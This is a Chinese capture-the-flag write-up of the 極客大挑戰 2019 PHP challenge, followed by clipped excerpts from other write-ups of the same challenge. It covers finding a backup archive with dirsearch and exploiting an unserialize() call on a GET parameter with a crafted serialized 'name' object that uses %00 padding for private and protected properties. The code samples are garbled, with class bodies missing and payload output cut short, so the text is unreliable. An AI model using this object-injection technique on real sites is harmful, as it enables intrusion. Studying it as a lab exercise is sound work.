他說備份了,就肯定掃目錄,把原始檔備份掃出來
dirsearch掃目錄掃到www.zip壓縮包
然後解壓發現是,序列化。
具體特徵如下:
index.php包含如下**:接收引數,進行序列化
<?php
include 'class.php';
$select = $_get['select'];
$res=unserialize(@$select);
?>
class.php含: 原始碼都放在著
<?php
include 'flag.php';
error_reporting(0);
class name
function __wakeup()
function __destruct()
if ($this->username === 'admin') else
}}?>
開始構造
然後根據判斷句得知,username必須是admin,password必須是100所以,構造序列化
o是物件,s是字串,i是數字因為是private修飾的所以要加%00充當空格構造:o:4:"name":2:我看大佬的payload的時候,很疑惑為什麼要寫%00name%00username這樣的形式?
然後我進行了三種修飾方式的測試:public,protected,private
我忽然明白:
只有public修飾的不用太多的修飾原生態構造就好,而private需要加%00name%00,
protected則需要使用%00*%00username這樣的方式
<?php
class name
}$a = new name('admin',100);
$b=serialize($a);
echo $b;
//看這看這看這看這!!!!!!!!!
//執行會輸出 o:4:"name":2:
?>
<?php
class name
}$a = new name('admin',100);
$b=serialize($a);
echo $b;
//o:4:"name":2:
?>
<?php
class name
}$a = new name('admin',100);
$b=serialize($a);
echo $b;
//o:4:"name":2:
?>
極客大挑戰 2019 PHP
開啟以後,是三個php原始碼,其中最重要的是class.php,如下 include flag.php error reporting 0 class name function wakeup function destruct if this username admin else 看了一下,這個...
極客大挑戰 2019 PHP
剛進入 我們可以看到這樣的乙個介面 根據內容提示,有備份 的習慣 日常後台掃瞄,發現有www.zip檔案,我們進行解壓得到 看到flag.php開啟檢視,發現沒有什麼有用的資訊。我們開啟index.php看看 我們可以看到通過get方式傳入引數select,並對引數select進行反序列化。接下來,...
極客大挑戰 2019 PHP
開啟後,按照提示找備份檔案 用御劍沒掃到東西,換個工具dirsearch 找到備份檔案 解壓檔案,檢視flag,假的。審計一下這幾個的 吧 flag.php裡的 flag 給了個值syc,好像沒啥用。外鏈轉存失敗,源站可能有防盜煉機制,建議將儲存下來直接上傳 img jirqepnc 1612329...